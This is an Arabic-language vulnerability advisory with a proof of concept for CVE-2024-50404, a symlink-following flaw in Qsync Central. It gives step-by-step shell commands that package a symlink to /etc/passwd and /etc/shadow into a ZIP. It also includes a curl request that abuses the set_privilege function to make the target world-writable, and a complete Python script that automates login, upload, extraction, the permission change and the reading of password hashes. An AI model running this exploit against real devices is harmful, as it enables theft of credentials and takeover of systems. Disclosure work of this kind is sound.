
CVE-2024-50404
"تم الإبلاغ عن وجود ثغرة أمنية تتعلق بتتبع الارتباطات (link following) تؤثر على Qsync Central. إذا تم استغلالها، قد تسمح الثغرة للمهاجمين عن بُعد الذين حصلوا على وصول كمستخدم بعبور نظام الملفات إلى مواقع غير مقصودة."
تاريخ الاكتشاف: 22 أبريل 2024
تاريخ الإصلاح: 7 ديسمبر 2024
الإصدار (الإصدارات) المتأثرة: Qsync Central 4.4.x
الإصدار (الإصدارات) المُصححة: Qsync Central 4.4.0.16_20240819 (2024/08/19) وما بعده
صلاحيات الوصول: مستخدم عادي بصلاحية رفع الملفات
الملخص:
من الممكن رفع رابط رمزي (symlink) من خلال ملف ZIP وقراءة الملف الذي يشير إليه الرابط الرمزي المرفوع.
علاوة على ذلك، يمكن تعديل أذونات الملف الهدف للرابط الرمزي.
يمكن للمهاجم الذي يتمتع بصلاحيات مستخدم عادي قراءة بيانات المستخدمين الآخرين أو تجزئات كلمات المرور المخزنة في /etc/config/shadow، مما قد يؤدي إلى اختراق النظام بأكمله.
بالإضافة إلى ذلك، يمكن للمهاجم إزالة صلاحية التنفيذ من الملفات الثنائية الهامة للنظام لجعل النظام غير قابل للاستخدام.
أنشئ رابطًا رمزيًا وضعه في ملف ZIP.
ln -s /etc/passwd link.txt
zip --symlink pwn.zip link.txt
سجل الدخول كمستخدم بصلاحيات محدودة.
ارفع ملف ZIP إلى مجلد .Qsync.

استخرج ملف ZIP بالنقر بزر الماوس الأيمن واختيار استخراج إلى /pwn/.

افتح مجلد pwn الجديد، وانقر بزر الماوس الأيمن على link.txt واختر فتح.
لاحظ أنه تم فتح ملف /etc/passwd في علامة تبويب جديدة.

أنشئ رابطًا رمزيًا وضعه في ملف ZIP.
ln -s /etc/shadow link.txt
zip --symlink pwn.zip link.txt
سجل الدخول كمستخدم بصلاحيات محدودة.
ارفع ملف ZIP إلى مجلد .Qsync.
استخرج ملف ZIP بالنقر بزر الماوس الأيمن واختيار استخراج إلى /pwn/.
غيّر صلاحية الملف الذي يشير إليه الرابط الرمزي عن طريق إساءة استخدام وظيفة set_privilege.
طلب cURL:
curl --path-as-is -i -s -k -X $'GET' -H $'Host: 192.168.178.156' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: https://192.168.178.156/cgi-bin/' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' $'https://192.168.178.156/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid=9j27809t&source_path=/home/.Qsync/pwn/&source_file=link.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1'
طلب Burp:

يجب استبدال معامل sid في عنوان URL بجلسة صالحة.
افتح مجلد pwn الجديد، وانقر بزر الماوس الأيمن على link.txt واختر فتح.
لاحظ أنه تم فتح ملف /etc/shadow في علامة تبويب جديدة.

يمكن استخدام النص البرمجي التالي بلغة Python لاستغلال الثغرة.
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# تعديل المتغيرات التالية
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
FILE = '/etc/shadow'
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print('انتبه، سيتم تغيير صلاحيات الملف {FILE} إلى 777! لم يتم تنفيذ التنظيف')
print('جارٍ إنشاء ملف zip')
os.system('rm -f pwned.txt pwn.zip')
os.system(f'ln -s {FILE} pwned.txt')
os.system('zip --symlink pwn.zip pwned.txt')
print('جارٍ تسجيل الدخول')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('جارٍ رفع ملف zip')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('جارٍ فك ضغط ملف zip')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
# الانتظار قليلاً
time.sleep(5)
print('جارٍ تغيير صلاحيات الملف')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('جارٍ قراءة الملف')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
assert response.status_code == 200
print(response.text)
print('تم')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# الحصول على معرف الرفع
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id
# رفع الملف
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
files=(
('fileName', (None, filename.encode('ascii'))),
('file', ('blob', content, 'application/octet-stream')),
),
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
if __name__ == '__main__':
main()